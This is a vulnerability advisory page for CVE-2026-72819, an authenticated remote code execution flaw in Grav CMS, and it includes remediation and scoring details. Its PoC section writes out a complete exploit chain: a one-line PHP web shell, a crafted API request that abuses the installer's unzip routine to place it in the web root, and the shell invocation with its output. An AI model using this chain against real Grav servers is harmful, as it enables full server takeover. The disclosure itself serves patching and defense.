CVE-2026-72819 — Vulnerability in getgrav/grav — CVE Details
Grav CMS vulnerable to remote code execution via .zip file upload
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.90%). Schedule for your next planned update.
Does your project use an affected getgrav/grav version?
Paste your composer.lock to check it for CVE-2026-72819 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.
Details
The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.
The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.
Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.
PoC
-
Log in at
http://TARGET/login(or/admin). The session cookie is the only credential needed below. -
Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at
/user/media/evil.zip.Zip the shell.php file with the php code mentioned below:
shell.php: <?php system($_GET['c']); ?> zip evil.zip shell.php -
Send the request (attach your Cookie and X-API-Token):
PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json { "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } } -
Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):
POST /api/v1/flex-objects/flex-objects Content-Type: application/json {"name": "x"} -> 201 -
Open the file that was written:
http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ...
Impact
Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.
Advisory Timeline
- First published September 17, 2026 (70 days ago).
- Last revised September 17, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "getgrav/grav:^2.0.13"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| getgrav/grav Packagist · Affected: 0.8.0, 0.9.0, 0.9.1, 0.9.10 (+343 more) | 2.0.13 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
Frequently Asked Questions
- What is CVE-2026-72819?
- Grav CMS vulnerable to remote code execution via .zip file upload. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-72819?
- CVE-2026-72819 affects getgrav/grav. It has a 0.9% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-72819 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 57.7% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-42613CRITICAL
Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access
- CVE-2026-75828CRITICAL
Grav: detectXss() misses an event-handler attribute after an unpaired quote in an unquoted attribute value, giving stored XSS
- CVE-2026-42607CRITICAL
Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature
- CVE-2025-66294HIGH
Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass
- CVE-2026-42844HIGH
Low-privileged Grav API users can create super-admin accounts via blueprint-upload
- CVE-2026-42611HIGH
Grav is Vulnerable to Stored XSS via Tag Injection
- CVE-2026-75837HIGH
Grav: Missing admin.super guard on core group blueprint access field allows admin.users operator to escalate to super-admin
- CVE-2023-31506MEDIUM
Cross-site scripting (XSS) vulnerability in Grav